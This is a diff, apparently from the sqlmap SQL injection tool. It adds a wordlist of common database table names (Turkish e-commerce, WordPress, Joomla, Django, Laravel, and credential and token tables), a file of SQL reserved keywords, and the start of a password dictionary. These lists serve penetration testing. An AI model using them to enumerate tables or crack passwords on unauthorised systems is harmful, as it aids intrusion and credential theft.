+basvuru +basvurular +kontak +kontaklar +kisi +kisiler +uye +uyeler +kayıt +kayıtlar +tel +telefon +telefonlar +numaralar +numara +kart +kartlar +kredi +krediler +kredikartı +fiyat +fiyatlar +odeme +odemeler +kategoriler +tbl_Uye +xml_kategoriler +tbl_siparis +tbl_googlemap +tbl_ilce +tbl_yardim +tbl_Resim +tbl_anket +tbl_Rapor +tbl_statsvisit +tbl_ticket +tbl_Cesit +tbl_xml +tbl_Cinsiyet +xml_urunler_temp +tbl_takvim +tbl_altkategori +tbl_mesaj +tbl_Haber +tbl_AdresTemp +tbl_Firma +tbl_Medya +xml_urunlerbirim +tbl_Yardim +tbl_medya +tbl_Video +xml_markalar_transfer +tbl_adrestemp +tbl_online +tbl_sehir +tbl_resim +tbl_Gorsel +tbl_doviz +tbl_gorsel +tbl_kampanya +tbl_Blog +tbl_Banners +tbl_koleksiyon +tbl_Galeri +tbl_Kampanya +tbl_Favori +tbl_sss +tbl_Banner +tbl_Faq +xml_markalar_temp +tbl_faq +tbl_Personel +tbl_Seo +tbl_adres +tbl_ayar +tbl_metin +tbl_AltKategori +tbl_kategori +tbl_Marka +tbl_blogkategori +tbl_ulke +tbl_sepetold +tbl_yorum +tbl_Fiyat +tbl_Reklam +tbl_Kategori +tbl_Yorum +tbl_semt +tbl_Tedarikci +xml_kampanyakategori +tbl_ozelgun +tbl_uyexml +tbl_rapor +tbl_seo +tbl_Indirim +tbl_Ilce +tbl_bulten +tbl_video +tbl_Ayar +tbl_fatura +tbl_cinsiyet +tbl_reklam +tbl_sliders +tbl_KDV +tbl_uye_img +tbl_siparisid +tbl_BlogKategori +tbl_Yonetici +tbl_kdv +tbl_Online +tbl_temsilci +tbl_Dil +tbl_banners +tbl_Mesaj +tbl_Logs +tbl_logs +tbl_fiyat +tbl_SSS +tbl_Puan +tbl_kargo +tbl_Statsvisit +tbl_Koleksiyon +tbl_dil +tbl_Sepetold +tbl_Fatura +tbl_yonetici +tbl_Yazilar +tbl_Temsilci +tbl_Kargo +tbl_cesit +tbl_uye +tbl_haber +tbl_SiparisID +tbl_Adres +tbl_Ozelgun +tbl_banka +tbl_Videogaleri +tbl_galeri +tbl_videogaleri +xml_urunresimleri +tbl_urun +tbl_Ticket +tbl_yazilar +tbl_Ulke +tbl_Urun +tbl_renk +tbl_Harita +tbl_Sepet +tbl_Sehir +tbl_Uye_Img +tbl_Semt +tbl_indirim +xml_kampanyakategori_transfer +tbl_Takvim +tbl_blog +tbl_Sliders +tbl_Renk +tbl_UyeXML +tbl_tedarikci +tbl_Fotogaleri +tbl_Doviz +tbl_Anket +tbl_Banka +tbl_Metin +tbl_XML +tbl_firma +tbl_harita +tbl_banner +tbl_sepet +tbl_fotogaleri +tbl_marka +tbl_Siparis +tbl_personel +tbl_puan +tbl_Bulten +tbl_favori +tbl_onlineusers + + # List provided by Pedrito Perez (0ark1ang3l@gmail.com) + adminstbl admintbl affiliateUsers @@ -3368,4 +3206,226 @@ userstbl usertbl # WebGoat + user_data + +# https://laurent22.github.io/so-injections/ + +accounts +admin +baza_site +benutzer +category +comments +company +credentials +Customer +customers +data +details +dhruv_users +dt_tb +employees +events +forsale +friends +giorni +images +info +items +kontabankowe +login +logs +markers +members +messages +orders +order_table +photos +player +players +points +register +reports +rooms +shells +signup +songs +student +students +table +table2 +tbl_images +tblproduct +testv2 +tickets +topicinfo +trabajo +user +user_auth +userinfo +user_info +userregister +users +usuarios +utenti +wm_products +wp_payout_history +zamowienia + +# https://deliciousbrains.com/tour-wordpress-database/ + +wp_blogmeta +wp_blogs +wp_blog_versions +wp_commentmeta +wp_comments +wp_links +wp_options +wp_postmeta +wp_posts +wp_registration_log +wp_signups +wp_site +wp_sitemeta +wp_termmeta +wp_term_relationships +wp_terms +wp_term_taxonomy +wp_usermeta +wp_users + +# https://docs.joomla.org/Tables + +assets +bannerclient +banner +bannertrack +categories +components +contact_details +content_frontpage +content_rating +content +core_acl_aro_groups +core_acl_aro_map +core_acl_aro_sections +core_acl_aro +core_acl_groups_aro_map +core_log_items +core_log_searches +extensions +groups +languages +menu +menu_types +messages_cfg +messages +migration_backlinks +modules_menu +modules +newsfeeds +plugins +poll_data +poll_date +poll_menu +polls +redirect_links +Schemas +sections +session +stats_agents +templates_menu +template_styles +update_categories +update_sites_extensions +update_sites +updates +usergroups +user_profiles +users +user_usergroup_map +viewlevels +weblinks + +# site:nl + +gebruikers + +# asp.net + +AspNetUsers +AspNetRoles +AspNetUserRoles +AspNetUserClaims +AspNetUserLogins +AspNetRoleClaims +AspNetUserTokens +__EFMigrationsHistory + +# django + +auth_user +auth_group +auth_permission +django_session +django_migrations +django_content_type +django_admin_log +auth_user_groups +auth_user_user_permissions + +# laravel + +migrations +password_resets +password_reset_tokens +failed_jobs +personal_access_tokens +job_batches +model_has_roles +model_has_permissions +role_has_permissions +cache +cache_locks +notifications + +# rails + +schema_migrations +ar_internal_metadata +active_storage_blobs +active_storage_attachments + +# misc. + +flyway_schema_history +databasechangelog +databasechangeloglock +alembic_version +knex_migrations +knex_migrations_lock +doctrine_migration_versions +api_keys +api_tokens +access_tokens +refresh_tokens +oauth_clients +oauth_access_tokens +oauth_refresh_tokens +webhooks +webhook_events +secrets +credentials +audit_logs +activity_logs +system_settings +feature_flags +tenants +subscriptions +users_bak +users_old +orders_backup +user_roles +role_permissions +tokens diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt new file mode 100644 index 00000000000..8a985ea4191 --- /dev/null +++ b/data/txt/keywords.txt @@ -0,0 +1,1637 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) + +ABSOLUTE +ACTION +ADD +ALL +ALLOCATE +ALTER +AND +ANY +ARE +AS +ASC +ASSERTION +AT +AUTHORIZATION +AVG +BEGIN +BETWEEN +BIT +BIT_LENGTH +BOTH +BY +CALL +CASCADE +CASCADED +CASE +CAST +CATALOG +CHAR +CHAR_LENGTH +CHARACTER +CHARACTER_LENGTH +CHECK +CLOSE +COALESCE +COLLATE +COLLATION +COLUMN +COMMIT +CONDITION +CONNECT +CONNECTION +CONSTRAINT +CONSTRAINTS +CONTAINS +CONTINUE +CONVERT +CORRESPONDING +COUNT +CREATE +CROSS +CURRENT +CURRENT_DATE +CURRENT_PATH +CURRENT_TIME +CURRENT_TIMESTAMP +CURRENT_USER +CURSOR +DATE +DAY +DEALLOCATE +DEC +DECIMAL +DECLARE +DEFAULT +DEFERRABLE +DEFERRED +DELETE +DESC +DESCRIBE +DESCRIPTOR +DETERMINISTIC +DIAGNOSTICS +DISCONNECT +DISTINCT +DO +DOMAIN +DOUBLE +DROP +ELSE +ELSEIF +END +ESCAPE +EXCEPT +EXCEPTION +EXEC +EXECUTE +EXISTS +EXIT +EXTERNAL +EXTRACT +FALSE +FETCH +FIRST +FLOAT +FOR +FOREIGN +FOUND +FROM +FULL +FUNCTION +GET +GLOBAL +GO +GOTO +GRANT +GROUP +HANDLER +HAVING +HOUR +IDENTITY +IF +IMMEDIATE +IN +INDICATOR +INITIALLY +INNER +INOUT +INPUT +INSENSITIVE +INSERT +INT +INTEGER +INTERSECT +INTERVAL +INTO +IS +ISOLATION +JOIN +KEY +LANGUAGE +LAST +LEADING +LEAVE +LEFT +LEVEL +LIKE +LOCAL +LOOP +LOWER +MATCH +MAX +MIN +MINUTE +MODULE +MONTH +NAMES +NATIONAL +NATURAL +NCHAR +NEXT +NO +NOT +NULL +NULLIF +NUMERIC +OCTET_LENGTH +OF +ON +ONLY +OPEN +OPTION +OR +ORDER +OUT +OUTER +OUTPUT +OVERLAPS +PAD +PARAMETER +PARTIAL +PATH +POSITION +PRECISION +PREPARE +PRESERVE +PRIMARY +PRIOR +PRIVILEGES +PROCEDURE +READ +REAL +REFERENCES +RELATIVE +REPEAT +RESIGNAL +RESTRICT +RETURN +RETURNS +REVOKE +RIGHT +ROLLBACK +ROUTINE +ROWS +SCHEMA +SCROLL +SECOND +SECTION +SELECT +SESSION +SESSION_USER +SET +SIGNAL +SIZE +SMALLINT +SOME +SPACE +SPECIFIC +SQL +SQLCODE +SQLERROR +SQLEXCEPTION +SQLSTATE +SQLWARNING +SUBSTRING +SUM +SYSTEM_USER +TABLE +TEMPORARY +THEN +TIME +TIMESTAMP +TIMEZONE_HOUR +TIMEZONE_MINUTE +TO +TRAILING +TRANSACTION +TRANSLATE +TRANSLATION +TRIM +TRUE +UNDO +UNION +UNIQUE +UNKNOWN +UNTIL +UPDATE +UPPER +USAGE +USER +USING +VALUE +VALUES +VARCHAR +VARYING +VIEW +WHEN +WHENEVER +WHERE +WHILE +WITH +WORK +WRITE +YEAR +ZONE + +# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html) + +ADD +ALL +ALTER +ANALYZE +AND +ASASC +ASENSITIVE +BEFORE +BETWEEN +BIGINT +BINARYBLOB +BOTH +BY +CALL +CASCADE +CASECHANGE +CAST +CHAR +CHARACTER +CHECK +COLLATE +COLUMN +CONCAT +CONDITIONCONSTRAINT +CONTINUE +CONVERT +CREATE +CROSS +CURRENT_DATE +CURRENT_TIMECURRENT_TIMESTAMP +CURRENT_USER +CURSOR +DATABASE +DATABASES +DAY_HOUR +DAY_MICROSECONDDAY_MINUTE +DAY_SECOND +DEC +DECIMAL +DECLARE +DEFAULTDELAYED +DELETE +DESC +DESCRIBE +DETERMINISTIC +DISTINCTDISTINCTROW +DIV +DOUBLE +DROP +DUAL +EACH +ELSEELSEIF +ENCLOSED +ESCAPED +EXISTS +EXIT +EXPLAIN +FALSEFETCH +FLOAT +FLOAT4 +FLOAT8 +FOR +FORCE +FOREIGNFROM +FULLTEXT +GRANT +GROUP +HAVING +HIGH_PRIORITYHOUR_MICROSECOND +HOUR_MINUTE +HOUR_SECOND +IF +IFNULL +IGNORE +ININDEX +INFILE +INNER +INOUT +INSENSITIVE +INSERT +INTINT1 +INT2 +INT3 +INT4 +INT8 +INTEGER +INTERVALINTO +IS +ISNULL +ITERATE +JOIN +KEY +KEYS +KILLLEADING +LEAVE +LEFT +LIKE +LIMIT +LINESLOAD +LOCALTIME +LOCALTIMESTAMP +LOCK +LONG +LONGBLOBLONGTEXT +LOOP +LOW_PRIORITY +MATCH +MEDIUMBLOB +MEDIUMINT +MEDIUMTEXTMIDDLEINT +MINUTE_MICROSECOND +MINUTE_SECOND +MOD +MODIFIES +NATURAL +NOTNO_WRITE_TO_BINLOG +NULL +NUMERIC +ON +OPTIMIZE +OPTION +OPTIONALLYOR +ORDER +OUT +OUTER +OUTFILE +PRECISIONPRIMARY +PROCEDURE +PURGE +READ +READS +REALREFERENCES +REGEXP +RELEASE +RENAME +REPEAT +REPLACE +REQUIRERESTRICT +RETURN +REVOKE +RIGHT +RLIKE +SCHEMA +SCHEMASSECOND_MICROSECOND +SELECT +SENSITIVE +SEPARATOR +SET +SHOW +SMALLINTSONAME +SPATIAL +SPECIFIC +SQL +SQLEXCEPTION +SQLSTATESQLWARNING +SQL_BIG_RESULT +SQL_CALC_FOUND_ROWS +SQL_SMALL_RESULT +SSL +STARTINGSTRAIGHT_JOIN +TABLE +TERMINATED +THEN +TINYBLOB +TINYINT +TINYTEXTTO +TRAILING +TRIGGER +TRUE +UNDO +UNION +UNIQUEUNLOCK +UNSIGNED +UPDATE +USAGE +USE +USING +UTC_DATEUTC_TIME +UTC_TIMESTAMP +VALUES +VARBINARY +VARCHAR +VARCHARACTERVARYING +VERSION +WHEN +WHERE +WHILE +WITH +WRITEXOR +YEAR_MONTH +ZEROFILL + +# MySQL 8.0 keywords (reference: https://dev.mysql.com/doc/refman/8.0/en/keywords.html) + +ACCESSIBLE +ACCOUNT +ACTION +ACTIVE +ADD +ADMIN +AFTER +AGAINST +AGGREGATE +ALGORITHM +ALL +ALTER +ALWAYS +ANALYSE +ANALYZE +AND +ANY +ARRAY +AS +ASC +ASCII +ASENSITIVE +AT +ATTRIBUTE +AUTHENTICATION +AUTOEXTEND_SIZE +AUTO_INCREMENT +AVG +AVG_ROW_LENGTH +BACKUP +BEFORE +BEGIN +BETWEEN +BIGINT +BINARY +BINLOG +BIT +BLOB +BLOCK +BOOL +BOOLEAN +BOTH +BTREE +BUCKETS +BULK +BY +BYTE +CACHE +CALL +CASCADE +CASCADED +CASE +CATALOG_NAME +CHAIN +CHALLENGE_RESPONSE +CHANGE +CHANGED +CHANNEL +CHAR +CHARACTER +CHARSET +CHECK +CHECKSUM +CIPHER +CLASS_ORIGIN +CLIENT +CLONE +CLOSE +COALESCE +CODE +COLLATE +COLLATION +COLUMN +COLUMNS +COLUMN_FORMAT +COLUMN_NAME +COMMENT +COMMIT +COMMITTED +COMPACT +COMPLETION +COMPONENT +COMPRESSED +COMPRESSION +CONCURRENT +CONDITION +CONNECTION +CONSISTENT +CONSTRAINT +CONSTRAINT_CATALOG +CONSTRAINT_NAME +CONSTRAINT_SCHEMA +CONTAINS +CONTEXT +CONTINUE +CONVERT +CPU +CREATE +CROSS +CUBE +CUME_DIST +CURRENT +CURRENT_DATE +CURRENT_TIME +CURRENT_TIMESTAMP +CURRENT_USER +CURSOR +CURSOR_NAME +DATA +DATABASE +DATABASES +DATAFILE +DATE +DATETIME +DAY +DAY_HOUR +DAY_MICROSECOND +DAY_MINUTE +DAY_SECOND +DEALLOCATE +DEC +DECIMAL +DECLARE +DEFAULT +DEFAULT_AUTH +DEFINER +DEFINITION +DELAYED +DELAY_KEY_WRITE +DELETE +DENSE_RANK +DESC +DESCRIBE +DESCRIPTION +DES_KEY_FILE +DETERMINISTIC +DIAGNOSTICS +DIRECTORY +DISABLE +DISCARD +DISK +DISTINCT +DISTINCTROW +DIV +DO +DOUBLE +DROP +DUAL +DUMPFILE +DUPLICATE +DYNAMIC +EACH +ELSE +ELSEIF +EMPTY +ENABLE +ENCLOSED +ENCRYPTION +END +ENDS +ENFORCED +ENGINE +ENGINES +ENGINE_ATTRIBUTE +ENUM +ERROR +ERRORS +ESCAPE +ESCAPED +EVENT +EVENTS +EVERY +EXCEPT +EXCHANGE +EXCLUDE +EXECUTE +EXISTS +EXIT +EXPANSION +EXPIRE +EXPLAIN +EXPORT +EXTENDED +EXTENT_SIZE +FACTOR +FAILED_LOGIN_ATTEMPTS +FALSE +FAST +FAULTS +FETCH +FIELDS +FILE +FILE_BLOCK_SIZE +FILTER +FINISH +FIRST +FIRST_VALUE +FIXED +FLOAT +FLOAT4 +FLOAT8 +FLUSH +FOLLOWING +FOLLOWS +FOR +FORCE +FOREIGN +FORMAT +FOUND +FROM +FULL +FULLTEXT +FUNCTION +GENERAL +GENERATE +GENERATED +GEOMCOLLECTION +GEOMETRY +GEOMETRYCOLLECTION +GET +GET_FORMAT +GET_MASTER_PUBLIC_KEY +GET_SOURCE_PUBLIC_KEY +GLOBAL +GRANT +GRANTS +GROUP +GROUPING +GROUPS +GROUP_REPLICATION +GTID_ONLY +HANDLER +HASH +HAVING +HELP +HIGH_PRIORITY +HISTOGRAM +HISTORY +HOST +HOSTS +HOUR +HOUR_MICROSECOND +HOUR_MINUTE +HOUR_SECOND +IDENTIFIED +IF +IGNORE +IGNORE_SERVER_IDS +IMPORT +IN +INACTIVE +INDEX +INDEXES +INFILE +INITIAL +INITIAL_SIZE +INITIATE +INNER +INOUT +INSENSITIVE +INSERT +INSERT_METHOD +INSTALL +INSTANCE +INT +INT1 +INT2 +INT3 +INT4 +INT8 +INTEGER +INTERSECT +INTERVAL +INTO +INVISIBLE +INVOKER +IO +IO_AFTER_GTIDS +IO_BEFORE_GTIDS +IO_THREAD +IPC +IS +ISOLATION +ISSUER +ITERATE +JOIN +JSON +JSON_TABLE +JSON_VALUE +KEY +KEYRING +KEYS +KEY_BLOCK_SIZE +KILL +LAG +LANGUAGE +LAST +LAST_VALUE +LATERAL +LEAD +LEADING +LEAVE +LEAVES +LEFT +LESS +LEVEL +LIKE +LIMIT +LINEAR +LINES +LINESTRING +LIST +LOAD +LOCAL +LOCALTIME +LOCALTIMESTAMP +LOCK +LOCKED +LOCKS +LOGFILE +LOGS +LONG +LONGBLOB +LONGTEXT +LOOP +LOW_PRIORITY +MASTER +MASTER_AUTO_POSITION +MASTER_BIND +MASTER_COMPRESSION_ALGORITHMS +MASTER_CONNECT_RETRY +MASTER_DELAY +MASTER_HEARTBEAT_PERIOD +MASTER_HOST +MASTER_LOG_FILE +MASTER_LOG_POS +MASTER_PASSWORD +MASTER_PORT +MASTER_PUBLIC_KEY_PATH +MASTER_RETRY_COUNT +MASTER_SERVER_ID +MASTER_SSL +MASTER_SSL_CA +MASTER_SSL_CAPATH +MASTER_SSL_CERT +MASTER_SSL_CIPHER +MASTER_SSL_CRL +MASTER_SSL_CRLPATH +MASTER_SSL_KEY +MASTER_SSL_VERIFY_SERVER_CERT +MASTER_TLS_CIPHERSUITES +MASTER_TLS_VERSION +MASTER_USER +MASTER_ZSTD_COMPRESSION_LEVEL +MATCH +MAXVALUE +MAX_CONNECTIONS_PER_HOUR +MAX_QUERIES_PER_HOUR +MAX_ROWS +MAX_SIZE +MAX_UPDATES_PER_HOUR +MAX_USER_CONNECTIONS +MEDIUM +MEDIUMBLOB +MEDIUMINT +MEDIUMTEXT +MEMBER +MEMORY +MERGE +MESSAGE_TEXT +MICROSECOND +MIDDLEINT +MIGRATE +MINUTE +MINUTE_MICROSECOND +MINUTE_SECOND +MIN_ROWS +MOD +MODE +MODIFIES +MODIFY +MONTH +MULTILINESTRING +MULTIPOINT +MULTIPOLYGON +MUTEX +MYSQL_ERRNO +NAME +NAMES +NATIONAL +NATURAL +NCHAR +NDB +NDBCLUSTER +NESTED +NETWORK_NAMESPACE +NEVER +NEW +NEXT +NO +NODEGROUP +NONE +NOT +NOWAIT +NO_WAIT +NO_WRITE_TO_BINLOG +NTH_VALUE +NTILE +NULL +NULLS +NUMBER +NUMERIC +NVARCHAR +OF +OFF +OFFSET +OJ +OLD +ON +ONE +ONLY +OPEN +OPTIMIZE +OPTIMIZER_COSTS +OPTION +OPTIONAL +OPTIONALLY +OPTIONS +OR +ORDER +ORDINALITY +ORGANIZATION +OTHERS +OUT +OUTER +OUTFILE +OVER +OWNER +PACK_KEYS +PAGE +PARSER +PARTIAL +PARTITION +PARTITIONING +PARTITIONS +PASSWORD_LOCK_TIME +PATH +PERCENT_RANK +PERSIST +PERSIST_ONLY +PHASE +PLUGIN +PLUGINS +PLUGIN_DIR +POINT +POLYGON +PORT +PRECEDES +PRECEDING +PRECISION +PREPARE +PRESERVE +PREV +PRIMARY +PRIVILEGES +PRIVILEGE_CHECKS_USER +PROCEDURE +PROCESS +PROCESSLIST +PROFILE +PROFILES +PROXY +PURGE +QUARTER +QUERY +QUICK +RANDOM +RANGE +RANK +READ +READS +READ_ONLY +READ_WRITE +REAL +REBUILD +RECOVER +RECURSIVE +REDOFILE +REDO_BUFFER_SIZE +REDUNDANT +REFERENCE +REFERENCES +REGEXP +REGISTRATION +RELAY +RELAYLOG +RELAY_LOG_FILE +RELAY_LOG_POS +RELAY_THREAD +RELEASE +RELOAD +REMOTE +REMOVE +RENAME +REORGANIZE +REPAIR +REPEAT +REPEATABLE +REPLACE +REPLICA +REPLICAS +REPLICATE_DO_DB +REPLICATE_DO_TABLE +REPLICATE_IGNORE_DB +REPLICATE_IGNORE_TABLE +REPLICATE_REWRITE_DB +REPLICATE_WILD_DO_TABLE +REPLICATE_WILD_IGNORE_TABLE +REPLICATION +REQUIRE +REQUIRE_ROW_FORMAT +RESET +RESIGNAL +RESOURCE +RESPECT +RESTART +RESTORE +RESTRICT +RESUME +RETAIN +RETURN +RETURNED_SQLSTATE +RETURNING +RETURNS +REUSE +REVERSE +REVOKE +RIGHT +RLIKE +ROLE +ROLLBACK +ROLLUP +ROTATE +ROUTINE +ROW +ROWS +ROW_COUNT +ROW_FORMAT +ROW_NUMBER +RTREE +SAVEPOINT +SCHEDULE +SCHEMA +SCHEMAS +SCHEMA_NAME +SECOND +SECONDARY +SECONDARY_ENGINE +SECONDARY_ENGINE_ATTRIBUTE +SECONDARY_LOAD +SECONDARY_UNLOAD +SECOND_MICROSECOND +SECURITY +SELECT +SENSITIVE +SEPARATOR +SERIAL +SERIALIZABLE +SERVER +SESSION +SET +SHARE +SHOW +SHUTDOWN +SIGNAL +SIGNED +SIMPLE +SKIP +SLAVE +SLOW +SMALLINT +SNAPSHOT +SOCKET +SOME +SONAME +SOUNDS +SOURCE +SOURCE_AUTO_POSITION +SOURCE_BIND +SOURCE_COMPRESSION_ALGORITHMS +SOURCE_CONNECT_RETRY +SOURCE_DELAY +SOURCE_HEARTBEAT_PERIOD +SOURCE_HOST +SOURCE_LOG_FILE +SOURCE_LOG_POS +SOURCE_PASSWORD +SOURCE_PORT +SOURCE_PUBLIC_KEY_PATH +SOURCE_RETRY_COUNT +SOURCE_SSL +SOURCE_SSL_CA +SOURCE_SSL_CAPATH +SOURCE_SSL_CERT +SOURCE_SSL_CIPHER +SOURCE_SSL_CRL +SOURCE_SSL_CRLPATH +SOURCE_SSL_KEY +SOURCE_SSL_VERIFY_SERVER_CERT +SOURCE_TLS_CIPHERSUITES +SOURCE_TLS_VERSION +SOURCE_USER +SOURCE_ZSTD_COMPRESSION_LEVEL +SPATIAL +SPECIFIC +SQL +SQLEXCEPTION +SQLSTATE +SQLWARNING +SQL_AFTER_GTIDS +SQL_AFTER_MTS_GAPS +SQL_BEFORE_GTIDS +SQL_BIG_RESULT +SQL_BUFFER_RESULT +SQL_CACHE +SQL_CALC_FOUND_ROWS +SQL_NO_CACHE +SQL_SMALL_RESULT +SQL_THREAD +SQL_TSI_DAY +SQL_TSI_HOUR +SQL_TSI_MINUTE +SQL_TSI_MONTH +SQL_TSI_QUARTER +SQL_TSI_SECOND +SQL_TSI_WEEK +SQL_TSI_YEAR +SRID +SSL +STACKED +START +STARTING +STARTS +STATS_AUTO_RECALC +STATS_PERSISTENT +STATS_SAMPLE_PAGES +STATUS +STOP +STORAGE +STORED +STRAIGHT_JOIN +STREAM +STRING +SUBCLASS_ORIGIN +SUBJECT +SUBPARTITION +SUBPARTITIONS +SUPER +SUSPEND +SWAPS +SWITCHES +SYSTEM +TABLE +TABLES +TABLESPACE +TABLE_CHECKSUM +TABLE_NAME +TEMPORARY +TEMPTABLE +TERMINATED +TEXT +THAN +THEN +THREAD_PRIORITY +TIES +TIME +TIMESTAMP +TIMESTAMPADD +TIMESTAMPDIFF +TINYBLOB +TINYINT +TINYTEXT +TLS +TO +TRAILING +TRANSACTION +TRIGGER +TRIGGERS +TRUE +TRUNCATE +TYPE +TYPES +UNBOUNDED +UNCOMMITTED +UNDEFINED +UNDO +UNDOFILE +UNDO_BUFFER_SIZE +UNICODE +UNINSTALL +UNION +UNIQUE +UNKNOWN +UNLOCK +UNREGISTER +UNSIGNED +UNTIL +UPDATE +UPGRADE +URL +USAGE +USE +USER +USER_RESOURCES +USE_FRM +USING +UTC_DATE +UTC_TIME +UTC_TIMESTAMP +VALIDATION +VALUE +VALUES +VARBINARY +VARCHAR +VARCHARACTER +VARIABLES +VARYING +VCPU +VIEW +VIRTUAL +VISIBLE +WAIT +WARNINGS +WEEK +WEIGHT_STRING +WHEN +WHERE +WHILE +WINDOW +WITH +WITHOUT +WORK +WRAPPER +WRITE +X509 +XA +XID +XML +XOR +YEAR +YEAR_MONTH +ZEROFILL +ZONE + +# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html) + +ABS +ACOS +ALL +ALLOCATE +ALTER +ANALYSE +ANALYZE +AND +ANY +ARE +ARRAY +ARRAY_AGG +ARRAY_MAX_CARDINALITY +AS +ASC +ASENSITIVE +ASIN +ASYMMETRIC +AT +ATAN +ATOMIC +AUTHORIZATION +AVG +BEGIN +BEGIN_FRAME +BEGIN_PARTITION +BETWEEN +BIGINT +BINARY +BLOB +BOOLEAN +BOTH +BY +CALL +CALLED +CARDINALITY +CASCADED +CASE +CAST +CEIL +CEILING +CHAR +CHARACTER +CHARACTER_LENGTH +CHAR_LENGTH +CHECK +CLASSIFIER +CLOB +CLOSE +COALESCE +COLLATE +COLLATION +COLLECT +COLUMN +COMMIT +CONCURRENTLY +CONDITION +CONNECT +CONSTRAINT +CONTAINS +CONVERT +COPY +CORR +CORRESPONDING +COS +COSH +COUNT +COVAR_POP +COVAR_SAMP +CREATE +CROSS +CUBE +CUME_DIST +CURRENT +CURRENT_CATALOG +CURRENT_DATE +CURRENT_DEFAULT_TRANSFORM_GROUP +CURRENT_PATH +CURRENT_ROLE +CURRENT_ROW +CURRENT_SCHEMA +CURRENT_TIME +CURRENT_TIMESTAMP +CURRENT_TRANSFORM_GROUP_FOR_TYPE +CURRENT_USER +CURSOR +CYCLE +DATALINK +DATE +DAY +DEALLOCATE +DEC +DECFLOAT +DECIMAL +DECLARE +DEFAULT +DEFERRABLE +DEFINE +DELETE +DENSE_RANK +DEREF +DESC +DESCRIBE +DETERMINISTIC +DISCONNECT +DISTINCT +DLNEWCOPY +DLPREVIOUSCOPY +DLURLCOMPLETE +DLURLCOMPLETEONLY +DLURLCOMPLETEWRITE +DLURLPATH +DLURLPATHONLY +DLURLPATHWRITE +DLURLSCHEME +DLURLSERVER +DLVALUE +DO +DOUBLE +DROP +DYNAMIC +EACH +ELEMENT +ELSE +EMPTY +END +END-EXEC +END_FRAME +END_PARTITION +EQUALS +ESCAPE +EVERY +EXCEPT +EXEC +EXECUTE +EXISTS +EXP +EXTERNAL +EXTRACT +FALSE +FETCH +FILTER +FIRST_VALUE +FLOAT +FLOOR +FOR +FOREIGN +FRAME_ROW +FREE +FREEZE +FROM +FULL +FUNCTION +FUSION +GET +GLOBAL +GRANT +GROUP +GROUPING +GROUPS +HAVING +HOLD +HOUR +IDENTITY +ILIKE +IMPORT +IN +INDICATOR +INITIAL +INITIALLY +INNER +INOUT +INSENSITIVE +INSERT +INT +INTEGER +INTERSECT +INTERSECTION +INTERVAL +INTO +IS +ISNULL +JOIN +JSON_ARRAY +JSON_ARRAYAGG +JSON_EXISTS +JSON_OBJECT +JSON_OBJECTAGG +JSON_QUERY +JSON_TABLE +JSON_TABLE_PRIMITIVE +JSON_VALUE +LAG +LANGUAGE +LARGE +LAST_VALUE +LATERAL +LEAD +LEADING +LEFT +LIKE +LIKE_REGEX +LIMIT +LISTAGG +LN +LOCAL +LOCALTIME +LOCALTIMESTAMP +LOG +LOG10 +LOWER +MATCH +MATCHES +MATCH_NUMBER +MATCH_RECOGNIZE +MAX +MEASURES +MEMBER +MERGE +METHOD +MIN +MINUTE +MOD +MODIFIES +MODULE +MONTH +MULTISET +NATIONAL +NATURAL +NCHAR +NCLOB +NEW +NO +NONE +NORMALIZE +NOT +NOTNULL +NTH_VALUE +NTILE +NULL +NULLIF +NUMERIC +OCCURRENCES_REGEX +OCTET_LENGTH +OF +OFFSET +OLD +OMIT +ON +ONE +ONLY +OPEN +OR +ORDER +OUT +OUTER +OVER +OVERLAPS +OVERLAY +PARAMETER +PARTITION +PATTERN +PER +PERCENT +PERCENTILE_CONT +PERCENTILE_DISC +PERCENT_RANK +PERIOD +PERMUTE +PLACING +PORTION +POSITION +POSITION_REGEX +POWER +PRECEDES +PRECISION +PREPARE +PRIMARY +PROCEDURE +PTF +RANGE +RANK +READS +REAL +RECURSIVE +REF +REFERENCES +REFERENCING +REGR_AVGX +REGR_AVGY +REGR_COUNT +REGR_INTERCEPT +REGR_R2 +REGR_SLOPE +REGR_SXX +REGR_SXY +REGR_SYY +RELEASE +RESULT +RETURN +RETURNING +RETURNS +REVOKE +RIGHT +ROLLBACK +ROLLUP +ROW +ROWS +ROW_NUMBER +RUNNING +SAVEPOINT +SCOPE +SCROLL +SEARCH +SECOND +SEEK +SELECT +SENSITIVE +SESSION_USER +SET +SHOW +SIMILAR +SIN +SINH +SKIP +SMALLINT +SOME +SPECIFIC +SPECIFICTYPE +SQL +SQLEXCEPTION +SQLSTATE +SQLWARNING +SQRT +START +STATIC +STDDEV_POP +STDDEV_SAMP +SUBMULTISET +SUBSET +SUBSTRING +SUBSTRING_REGEX +SUCCEEDS +SUM +SYMMETRIC +SYSTEM +SYSTEM_TIME +SYSTEM_USER +TABLE +TABLESAMPLE +TAN +TANH +THEN +TIME +TIMESTAMP +TIMEZONE_HOUR +TIMEZONE_MINUTE +TO +TRAILING +TRANSLATE +TRANSLATE_REGEX +TRANSLATION +TREAT +TRIGGER +TRIM +TRIM_ARRAY +TRUE +TRUNCATE +UESCAPE +UNION +UNIQUE +UNKNOWN +UNMATCHED +UNNEST +UPDATE +UPPER +USER +USING +VALUE +VALUES +VALUE_OF +VARBINARY +VARCHAR +VARIADIC +VARYING +VAR_POP +VAR_SAMP +VERBOSE +VERSIONING +WHEN +WHENEVER +WHERE +WIDTH_BUCKET +WINDOW +WITH +WITHIN +WITHOUT +XML +XMLAGG +XMLATTRIBUTES +XMLBINARY +XMLCAST +XMLCOMMENT +XMLCONCAT +XMLDOCUMENT +XMLELEMENT +XMLEXISTS +XMLFOREST +XMLITERATE +XMLNAMESPACES +XMLPARSE +XMLPI +XMLQUERY +XMLSERIALIZE +XMLTABLE +XMLTEXT +XMLVALIDATE +YEAR + +# Misc + +ORD +MID +TOP +ROWNUM diff --git a/data/txt/smalldict.txt b/data/txt/smalldict.txt new file mode 100644 index 00000000000..96b0cab614a --- /dev/null +++ b/data/txt/smalldict.txt @@ -0,0 +1,10180 @@ + +! +* +***** +****** +******** +********** +************* +------ +: +????? +?????? +!@#$% +!@#$%^ +!@#$%^& +!@#$%^&* +$HEX +0 +0000 +00000 +000000 +0000000 +00000000 +000000000 +0000000000 +0000007 +000001 +000007 